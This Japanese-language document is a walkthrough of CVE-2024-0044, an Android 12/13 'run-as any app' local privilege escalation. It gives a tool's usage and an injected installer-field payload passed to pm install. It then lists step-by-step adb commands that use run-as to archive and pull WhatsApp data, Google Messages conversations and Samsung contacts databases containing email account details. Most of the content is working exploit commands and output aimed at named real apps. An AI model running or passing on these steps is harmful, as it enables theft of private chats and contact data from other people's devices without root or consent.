
CVE-2024-0044: 「任意のアプリとして実行」の高深刻度脆弱性、Android バージョン12および13に影響
CVE-2024-0044は、PackageInstallerService.javaファイルのcreateSessionInternal関数で特定された、Androidバージョン12および13に影響する高深刻度の脆弱性です。この脆弱性により、攻撃者は「任意のアプリとして実行」攻撃を行い、ユーザーの操作を必要とせずにローカルでの権限昇格を引き起こす可能性があります。この問題は、createSessionInternal関数内の不適切な入力検証に起因します。攻撃者はセッション作成処理を操作することでこれを悪用し、影響を受けるデバイス上の機密データへの不正アクセスや不正な操作を行う可能性があります。
このエクスプロイトはMeta securityによって発見されました。
概念実証はTiny hackによって要約され共有されました。
セキュリティパッチの詳細はAndroid セキュリティ情報で確認できます。
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-Pは、実行したいターゲットのパッケージ名を指定するために使用します。
-Aは、デバイスにプッシュするAPKファイルを指定するために使用します。
ツールを実行します。
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
次のようなpayload.txtファイルが生成されます。
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Successメッセージが返ってくることを確認してください。pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
一時ディレクトリを作成: mkdir /data/local/tmp/wa/
tarファイルのプレースホルダを作成: touch /data/local/tmp/wa/wa.tar
広範囲のパーミッションを設定: chmod -R 0777 /data/local/tmp/wa/ により、すべてのユーザーがこのディレクトリ内で読み取り、書き込み、実行できるようにします。
ユーザーコンテキストを切り替え: run-as victim により、「victim」ユーザーと同じ権限を取得します。
ターゲットアプリケーションのデータをアーカイブ: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp で、WhatsAppデータディレクトリのtarballを作成します。
adb pull /data/local/tmp/wa/wa.tar
7z または他のツールを使用してデータを抽出できます。
Whatsapp chat exporter を使用してHTMLに変換することもできます。
これにより、デバイス上でroot権限がなくてもWhatsAppデータを取得できます。
パッケージ名を次のように変更するだけです。
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
上記の手順に従い、wa.tarファイルをプルした後、それを展開し、com.google.android.apps.messaging/databases/bugle_db内の会話をsqlitebrowserなどのツールで開きます。
Samsungデバイスでテスト済みです。他のデバイスの場合は、連絡先プロバイダのパッケージ名を確認してください。
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
上記の手順に従い、wa.tarファイルをプルした後、それを展開し、com.samsung.android.providers.contacts/databases/contacts2.db内の連絡先をsqlitebrowserなどのツールで開きます。このDBファイルには、すべてのユーザーのメールアカウント情報と連絡先リストが含まれています。